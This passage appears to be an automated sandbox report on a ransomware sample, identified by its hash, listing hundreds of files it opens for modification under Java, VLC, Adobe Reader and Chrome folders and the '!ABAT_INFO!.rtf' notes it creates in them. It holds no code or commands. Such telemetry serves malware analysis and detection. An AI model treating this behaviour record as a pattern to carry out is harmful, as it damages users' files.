Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Tehran 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZY______.PFB 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.docs_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\macTSFrame.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-favorites_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\accessibility.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\mobile.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\invalid32x32.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\jconsole.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.util_1.0.500.v20130404-1337.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\js\controllers.js 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Aqtobe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.syntheticattribute.exsd 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\br.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\eclipse.inf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\MANIFEST.MF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-execution_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-actions_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\SendMail.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tr.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\setNetworkClientCP.bat 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Simferopol 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\contbig.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\amd64\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Antigua 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Tongatapu 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\GMT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\new-trigger-wiz.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\css\blafdoc.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\org-openide-filesystems.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\org-netbeans-modules-profiler_visualvm.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Rio_Gallegos 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\jfluid-server.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\http\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\plugins\access\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Regular.otf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\java.policy 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Gibraltar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Bougainville 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\default_apps\external_extensions.json 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\CET 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Athens 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\epl-v10.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.databinding_1.6.200.v20140528-1422.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-tools_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\bookbig.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-modules-appui_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\lt\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_es.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Malta 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-explorer_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\Back-48.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.forms.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Cuiaba 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Inuvik 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\GMT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\MCIMPP.mpp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Yekaterinburg 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\updater.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\Europe\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\browse.json 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\Templates\To_Do_List.jtp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\pt-PT.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\nbexec64.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\America\Indiana\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\cue.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\jvm.hprof.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Khandyga 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\th\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\pt-BR.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\javac.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\db\lib\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Khandyga 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.addons.swt_1.1.1.v20140903-0821.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4-dark.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-uisupport_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ta\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\mailapi.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-api_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\EST5EDT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\ECLIPSE_.SF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.equinox.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\status.json 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\reflow.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\EmptyDatabase.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.diagnostic.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-execution_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-api.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Yakutat 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Mozilla Maintenance Service\updater.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Chicago 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Update\1.3.35.452\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\Class.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Lisbon 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-queries_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-favorites_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Easter 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Helsinki 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Jamaica 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-autoupdate-cli.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-charts.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\server\classes.jsa 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\server\Xusage.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT+7 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ru\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\submission_history.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\README-JDK.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Wake 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Guadalcanal 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-threaddump.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Jamaica 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Minsk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\SystemV\YST9YDT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\drvDX8.x3d 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jvisualvm.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Godthab 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-10 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\VDK10.SYD 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\COPYRIGHT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\classfile_constants.h 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Makassar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Jerusalem 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\LICENSE 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\javafx-doclet.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification 